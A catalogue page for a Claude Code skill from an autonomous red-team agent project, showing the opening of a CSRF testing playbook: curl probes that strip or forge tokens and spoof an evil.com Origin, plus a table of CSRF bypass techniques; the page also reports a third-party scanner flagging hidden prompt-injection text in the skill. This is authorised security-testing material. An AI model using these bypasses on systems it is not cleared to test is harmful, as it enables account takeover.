csrf

csrf is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 46 tokens per session (1,660 once invoked), scanned A, original, Apache-2.0.

A security testing guide for cross-site request forgery, or CSRF, where another website tricks a logged-in browser into changing data or settings. It covers missing tokens, cookie and method issues, and related login or logout attacks.

In plain words
What is it for?
Testing account changes, transfers, role updates, and other state-changing requests by removing or altering CSRF tokens and browser-origin checks.
Why use it?
It helps find state-changing actions that trust a user’s cookies without proving that the request came from the application itself. An attacker may otherwise change an email address, transfer funds, or grant access.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Testing account changes, transfers, role updates, and other state-changing requests by removing or altering CSRF tokens and browser-origin checks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/csrf
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,452 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill csrf
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csrf

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/csrf.svg)](https://agentmods.dev/skills/purpleailab/decepticon/csrf)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/csrf"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/csrf.svg" alt="Measured on agentmods" height="20"></a>
Per session 46 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,660 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector fail 7 Sept 2026
SkillSpector: 2 findings, up to high
  • high Prompt Injection · line 72
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
  • medium Data Exfiltration · line 25
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00046 $0.01660
Opus 5 $0.00023 $0.00830
Sonnet 5 $0.00009 $0.00332
Haiku 4.5 $0.00005 $0.00166

Measured 4d ago against content hash ae46d742cc4f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

csrf scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md · 124 lines

How it starts

The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CSRF Playbook

Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.

1. Detection — is the endpoint actually protected?

# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'

# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "[email protected]"

# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "csrf=AAAAAAAA&[email protected]"

# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&[email protected]"

# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&[email protected]"

# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
  "https://<TARGET>/account/[email protected]" -H "Cookie: $COOKIE"

HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.

2. Bypass / misconfig matrix

Class Server flaw Bypass
Token absent no token at all direct cross-origin form POST
Token not validated header sent but never checked send empty / random token
Token not bound to session token from another account works mint a token in attacker account, use against victim
Predictable token sequential / timestamp / md5(userid) precompute
Token in URL leaks via Referer / logs / shoulder steal then replay
Method-override _method=POST, X-HTTP-Method-Override: POST turn protected POST into a GET CSRF
JSON CSRF accepts Content-Type: application/json from forms submit form with enctype=text/plain + crafted body, or use fetch
Content-type bypass only validates token when CT=application/x-www-form-urlencoded switch to text/plain or multipart/form-data
SameSite=Lax gap top-level GET still sends cookie GET-based state change, or <form method=POST> triggered by user click
SameSite=None no protection at all classic cross-site form
Missing on subset only /admin/* protected unprotected sister endpoint (/api/v1/email)
Login CSRF login endpoint has no token force victim into attacker's account → captures victim activity
Logout CSRF logout has no token denial-of-service / phishing reset
Double-submit cookie flaw cookie not __Host- prefixed / set from any subdomain XSS on subdomain plants the cookie + matching body value
Referer-only check header strippable <meta name="referrer" content="no-referrer"> on attacker page

Read the full file on GitHub · 124 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 124 lines · 46 tokens per session scan A ae46d742cc4f

Subscribe to this mod's changes

csrf is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,452 stars, last pushed 8d ago), licensed Apache-2.0. It adds 46 tokens to every session and 1,660 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

api-crud-generator

A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.

xbsheng/atguigu-note · 21 tokens

msbuild-antipatterns

Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…

Harmeet10000/skills · 141 tokens

run-tests

Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…

Harmeet10000/skills · 248 tokens

fastapi

FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.

Harmeet10000/skills · 57 tokens

dotnet-10-csharp-14

Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.

Harmeet10000/skills · 59 tokens

optimizing-ef-core-queries

Optimize Entity Framework Core queries by fixing N+1 problems, choosing correct tracking modes, using compiled queries, and avoiding common performance traps. Use when EF Core queries are slow, generating excessive SQL, or causing high database load.

Harmeet10000/skills · 53 tokens